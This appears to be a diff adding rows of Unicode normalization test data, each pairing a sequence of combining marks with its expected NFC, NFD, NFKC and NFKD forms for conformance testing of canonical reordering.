+{ source: [0x0061, 0x08DE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DF, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E0, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E1, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08E3, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08E3, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08E3, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08E3, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08E3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08E3, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08E3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08E3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08E3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08E3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E4, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E5, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08E6, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08E6, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08E6, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08E6, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08E6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08E6, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08E6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08E6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08E6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08E6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E7, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08E8, 0x0062], NFC: [0x00E0, 0x05AE, 0x08E8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08E8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08E8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08E8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08E8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08E8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08E9, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08E9, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08E9, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08E9, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08E9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08E9, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08E9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08E9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08E9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08E9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08EA, 0x0062], NFC: [0x00E0, 0x05AE, 0x08EA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08EA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08EA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08EA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08EA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08EA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08EB, 0x0062], NFC: [0x00E0, 0x05AE, 0x08EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x08EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08ED, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08ED, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08ED, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08ED, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08ED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08ED, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08ED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08ED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08ED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08ED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08EE, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08EE, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08EE, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08EE, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08EE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08EE, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08EE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08EE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08EE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08EE, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08EF, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08EF, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08EF, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08EF, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08EF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08EF, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08EF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08EF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08EF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08EF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x064C, 0x064B, 0xFB1E, 0x08F0, 0x0062], NFC: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062] },
+{ source: [0x0061, 0x08F0, 0x064C, 0x064B, 0xFB1E, 0x0062], NFC: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062] },
+{ source: [0x0061, 0x064D, 0x064C, 0x064B, 0x08F1, 0x0062], NFC: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062] },
+{ source: [0x0061, 0x08F1, 0x064D, 0x064C, 0x064B, 0x0062], NFC: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062] },
+{ source: [0x0061, 0x0618, 0x064D, 0x064C, 0x08F2, 0x0062], NFC: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062] },
+{ source: [0x0061, 0x08F2, 0x0618, 0x064D, 0x064C, 0x0062], NFC: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F3, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F4, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F5, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08F6, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08F6, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08F6, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08F6, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08F6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08F6, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08F6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08F6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08F6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08F6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F7, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F8, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08F9, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08F9, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08F9, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08F9, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08F9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08F9, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08F9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08F9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08F9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08F9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08FA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08FA, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08FA, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08FA, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08FA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08FA, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08FA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08FA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08FA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08FA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FB, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FC, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FD, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FE, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FF, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x093C, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x093C, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x094D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x094D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0951, 0x0062], NFC: [0x00E0, 0x05AE, 0x0951, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0951, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0951, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0951, 0x0315, 0x0062] },
